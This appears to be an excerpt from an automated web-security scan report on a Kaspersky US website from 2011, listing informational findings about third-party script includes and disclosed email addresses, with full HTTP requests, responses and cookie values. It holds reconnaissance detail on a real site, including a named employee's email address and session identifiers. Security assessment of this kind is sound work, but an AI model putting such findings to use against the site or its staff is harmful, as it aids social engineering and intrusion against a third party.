Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes; gpv_pageName=Homepage; s_nr=1315139037033-New; s_sq=kaspersky-usa%3D%2526pid%253DHomepage%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fsites%25252Fusa.kaspersky.com%25252Ffiles%25252Fcustom_search%25252Fsearch-grey.gif%2526ot%253DIMAGE

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:24:38 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139078"
Set-Cookie: SESS0d3630958f3c3e8e08486b0d8335aea6=deleted; expires=Sat, 04-Sep-2010 12:24:46 GMT; path=/; domain=.usa.kaspersky.com; httponly
Content-Type: text/html; charset=utf-8
Content-Length: 107532
Date: Sun, 04 Sep 2011 12:24:47 GMT
X-Varnish: 1163053893
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<!-- Add Bazaarvoice JavaScript API -->
<script type="text/javascript" src="//kaspersky.ugc.bazaarvoice.com/static/8811/bvapi.js"> </script>
...[SNIP]...
<div style="padding-top:5px;" >
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

3.6. http://usa.kaspersky.com/search/apachesolr_search/far%20help%20virus  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /search/apachesolr_search/far%20help%20virus

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /search/apachesolr_search/far%20help%20virus HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/search/apachesolr_search/xss
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; s_cc=true; intcamp=INT1673886; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.3.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); slider_session=yes; gpv_pageName=Search%20%7C%20Search%20Results; ev5=xss; s_nr=1315139065855-New; s_sq=kaspersky-usa%3D%2526pid%253DSearch%252520%25257C%252520Search%252520Results%2526pidt%253D1%2526oid%253DSearch%2526oidt%253D3%2526ot%253DSUBMIT; op646kaspersky_us_storepagegum=a01603h0892794r05t3df84d5; NO_CACHE=Y

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:25:35 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139135"
Content-Type: text/html; charset=utf-8
Content-Length: 37531
Date: Sun, 04 Sep 2011 12:25:51 GMT
X-Varnish: 1163055428
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<!-- Add Bazaarvoice JavaScript API -->
<script type="text/javascript" src="//kaspersky.ugc.bazaarvoice.com/static/8811/bvapi.js"> </script>
...[SNIP]...

3.7. http://usa.kaspersky.com/search/apachesolr_search/xss  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /search/apachesolr_search/xss

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /search/apachesolr_search/xss HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes; gpv_pageName=Homepage; s_nr=1315139037033-New; s_sq=kaspersky-usa%3D%2526pid%253DHomepage%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fsites%25252Fusa.kaspersky.com%25252Ffiles%25252Fcustom_search%25252Fsearch-grey.gif%2526ot%253DIMAGE; NO_CACHE=Y

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:24:38 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139078"
Set-Cookie: SESS0d3630958f3c3e8e08486b0d8335aea6=deleted; expires=Sat, 04-Sep-2010 12:24:43 GMT; path=/; domain=.usa.kaspersky.com; httponly
Content-Type: text/html; charset=utf-8
Content-Length: 30320
Date: Sun, 04 Sep 2011 12:24:45 GMT
X-Varnish: 1163053910
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<!-- Add Bazaarvoice JavaScript API -->
<script type="text/javascript" src="//kaspersky.ugc.bazaarvoice.com/static/8811/bvapi.js"> </script>
...[SNIP]...

3.8. http://usa.kaspersky.com/store/kaspersky-store  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /store/kaspersky-store

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /store/kaspersky-store HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes; s_sq=kaspersky-usa%3D%2526pid%253DHomepage%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fsites%25252Fusa.kaspersky.com%25252Ffiles%25252Fcustom_search%25252Fsearch-grey.gif%2526ot%253DIMAGE; NO_CACHE=Y; gpv_pageName=Homepage; s_nr=1315139049879-New

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:25:15 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139115"
Content-Type: text/html; charset=utf-8
Content-Length: 62521
Date: Sun, 04 Sep 2011 12:25:24 GMT
X-Varnish: 1163054948
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<!-- Add Bazaarvoice JavaScript API -->
<script type="text/javascript" src="//kaspersky.ugc.bazaarvoice.com/static/8811/bvapi.js"> </script>
...[SNIP]...
<!-- Adds Digital River test code to specified pages (see template.php) -->
<script src="//drh.img.digitalriver.com/DRHM/Storefront/Library/scripts/DigitalRiverOTPageLevelCode.js"></script>
<script src="//drh.img.digitalriver.com/DRHM/Storefront/Site/kasperus/cm/multimedia/OT_Files/kaspersky-hosted/kasperus_globalTrial.js"></script>
<script src="//drh.img.digitalriver.com/DRHM/Storefront/Site/kasperus/cm/multimedia/OT_Files/kaspersky-hosted/kasperus_kaspersky_store_contentBody.js"></script>
...[SNIP]...

4. Email addresses disclosed  previous  next
There are 14 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


4.1. http://usa.kaspersky.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /

Issue detail

The following email address was disclosed in the response:

Request

GET /?domain=kapersky.com HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:13:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138436"
Content-Type: text/html; charset=utf-8
Content-Length: 49475
Date: Sun, 04 Sep 2011 12:17:49 GMT
X-Varnish: 1163042541 1163036284
Age: 231
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: HIT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<a href="mailto:newvirus@kaspersky.com">
...[SNIP]...

4.2. http://usa.kaspersky.com/node/17007  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /node/17007

Issue detail

The following email addresses were disclosed in the response:

Request

GET /node/17007 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/search/apachesolr_search/far%20help%20virus
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; intcamp=INT1673886; op646kaspersky_us_storepagegum=a01603h0892794r05t3df84d5; NO_CACHE=Y; slider_session=yes; s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.5.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gpv_pageName=Search%20%7C%20Search%20Results; ev5=far%2Bhelp%2Bvirus; s_nr=1315139085816-New; s_sq=kaspersky-usa%3D%2526pid%253DSearch%252520%25257C%252520Search%252520Results%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fnode%25252F17007%2526ot%253DA

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:27:32 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139252"
Content-Type: text/html; charset=utf-8
Content-Length: 36720
Date: Sun, 04 Sep 2011 12:27:44 GMT
X-Varnish: 1163058525
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<meta property="og:email" content="katelyn.fogarty@kaspersky.com" />
...[SNIP]...
<a href="mailto:newvirus@kaspersky.com">
...[SNIP]...

4.3. http://usa.kaspersky.com/products-services/home-computer-security/internet-security  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /products-services/home-computer-security/internet-security

Issue detail

The following email addresses were disclosed in the response:

Request

GET /products-services/home-computer-security/internet-security HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/search/apachesolr_search/xss
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; NO_CACHE=Y; s_cc=true; intcamp=INT1673886; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.3.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); slider_session=yes; gpv_pageName=Search%20%7C%20Search%20Results; ev5=xss; s_nr=1315139065855-New; s_sq=kaspersky-usa%3D%2526pid%253DSearch%252520%25257C%252520Search%252520Results%2526pidt%253D1%2526oid%253DSearch%2526oidt%253D3%2526ot%253DSUBMIT; op646kaspersky_us_storepagegum=a01603h0892794r05t3df84d5

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:26:15 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139175"
Content-Type: text/html; charset=utf-8
Content-Length: 109002
Date: Sun, 04 Sep 2011 12:26:43 GMT
X-Varnish: 1163056581
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<meta property="og:email" content="katelyn.fogarty@kaspersky.com" />
...[SNIP]...
<a href="mailto:newvirus@kaspersky.com">
...[SNIP]...

4.4. http://usa.kaspersky.com/products-services/home-computer-security/mobile-security  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /products-services/home-computer-security/mobile-security

Issue detail

The following email addresses were disclosed in the response:

Request

GET /products-services/home-computer-security/mobile-security HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/search/apachesolr_search/xss
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; intcamp=INT1673886; slider_session=yes; ev5=xss; op646kaspersky_us_storepagegum=a01603h0892794r05t3df84d5; NO_CACHE=Y; s_cc=true; gpv_pageName=Store%20%7C%20Home%20Users%20%7C%20Kaspersky%20Store; s_nr=1315139071025-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.4.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:26:42 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139202"
Content-Type: text/html; charset=utf-8
Content-Length: 77836
Date: Sun, 04 Sep 2011 12:27:00 GMT
X-Varnish: 1163057207
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<meta property="og:email" content="katelyn.fogarty@kaspersky.com" />
...[SNIP]...
<a href="mailto:newvirus@kaspersky.com">
...[SNIP]...

4.5. http://usa.kaspersky.com/products-services/home-computer-security/pure  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /products-services/home-computer-security/pure

Issue detail

The following email addresses were disclosed in the response:

Request

GET /products-services/home-computer-security/pure?ICID=INT1673886 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes; gpv_pageName=Homepage; s_nr=1315139037033-New; s_sq=kaspersky-usa%3D%2526pid%253DHomepage%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fsites%25252Fusa.kaspersky.com%25252Ffiles%25252Fcustom_search%25252Fsearch-grey.gif%2526ot%253DIMAGE

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:24:38 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139078"
Set-Cookie: SESS0d3630958f3c3e8e08486b0d8335aea6=deleted; expires=Sat, 04-Sep-2010 12:24:46 GMT; path=/; domain=.usa.kaspersky.com; httponly
Content-Type: text/html; charset=utf-8
Content-Length: 107532
Date: Sun, 04 Sep 2011 12:24:47 GMT
X-Varnish: 1163053893
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<meta property="og:email" content="katelyn.fogarty@kaspersky.com" />
...[SNIP]...
<a href="mailto:newvirus@kaspersky.com">
...[SNIP]...

4.6. http://usa.kaspersky.com/search/apachesolr_search/far%20help%20virus  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /search/apachesolr_search/far%20help%20virus

Issue detail

The following email address was disclosed in the response:

Request

GET /search/apachesolr_search/far%20help%20virus HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/search/apachesolr_search/xss
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; s_cc=true; intcamp=INT1673886; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.3.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); slider_session=yes; gpv_pageName=Search%20%7C%20Search%20Results; ev5=xss; s_nr=1315139065855-New; s_sq=kaspersky-usa%3D%2526pid%253DSearch%252520%25257C%252520Search%252520Results%2526pidt%253D1%2526oid%253DSearch%2526oidt%253D3%2526ot%253DSUBMIT; op646kaspersky_us_storepagegum=a01603h0892794r05t3df84d5; NO_CACHE=Y

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:25:35 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139135"
Content-Type: text/html; charset=utf-8
Content-Length: 37531
Date: Sun, 04 Sep 2011 12:25:51 GMT
X-Varnish: 1163055428
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<a href="mailto:newvirus@kaspersky.com">
...[SNIP]...

4.7. http://usa.kaspersky.com/search/apachesolr_search/xss  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /search/apachesolr_search/xss

Issue detail

The following email address was disclosed in the response:

Request

GET /search/apachesolr_search/xss HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes; gpv_pageName=Homepage; s_nr=1315139037033-New; s_sq=kaspersky-usa%3D%2526pid%253DHomepage%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fsites%25252Fusa.kaspersky.com%25252Ffiles%25252Fcustom_search%25252Fsearch-grey.gif%2526ot%253DIMAGE; NO_CACHE=Y

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:24:38 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139078"
Set-Cookie: SESS0d3630958f3c3e8e08486b0d8335aea6=deleted; expires=Sat, 04-Sep-2010 12:24:43 GMT; path=/; domain=.usa.kaspersky.com; httponly
Content-Type: text/html; charset=utf-8
Content-Length: 30320
Date: Sun, 04 Sep 2011 12:24:45 GMT
X-Varnish: 1163053910
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<a href="mailto:newvirus@kaspersky.com">
...[SNIP]...

4.8. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_30f49f3054e7146ae0b18ae409f59641.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/js/js_30f49f3054e7146ae0b18ae409f59641.js

Issue detail

The following email address was disclosed in the response:

Request

GET /sites/usa.kaspersky.com/files/js/js_30f49f3054e7146ae0b18ae409f59641.js HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/products-services/home-computer-security/pure?ICID=INT1673886
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes; s_sq=kaspersky-usa%3D%2526pid%253DHomepage%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fsites%25252Fusa.kaspersky.com%25252Ffiles%25252Fcustom_search%25252Fsearch-grey.gif%2526ot%253DIMAGE; NO_CACHE=Y; gpv_pageName=Homepage; s_nr=1315139049879-New

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sat, 03 Sep 2011 18:09:10 GMT
ETag: "31285ae-40510-4ac0d5fe15d80"
Cache-Control: max-age=1209600
Expires: Sun, 18 Sep 2011 12:20:48 GMT
Content-Type: application/x-javascript
Content-Length: 263440
Date: Sun, 04 Sep 2011 12:23:36 GMT
X-Varnish: 1163052074 1163047116
Age: 168
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: HIT

/*
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-02-
...[SNIP]...
elect.js
/**
* .disableTextSelect - Disable Text Select Plugin
*
* Version: 1.1
* Updated: 2007-11-28
*
* Used to stop users from selecting text
*
* Copyright (c) 2007 James Dempster (letssurf@gmail.com, http://www.jdempster.com/category/jquery/disabletextselect/)
*
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
**/

/**
* Requirements:
* - jQuery
...[SNIP]...

4.9. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_46af8f68c2630fc751ed0418c2209a90.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/js/js_46af8f68c2630fc751ed0418c2209a90.js

Issue detail

The following email address was disclosed in the response:

Request

GET /sites/usa.kaspersky.com/files/js/js_46af8f68c2630fc751ed0418c2209a90.js HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/search/apachesolr_search/xss
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
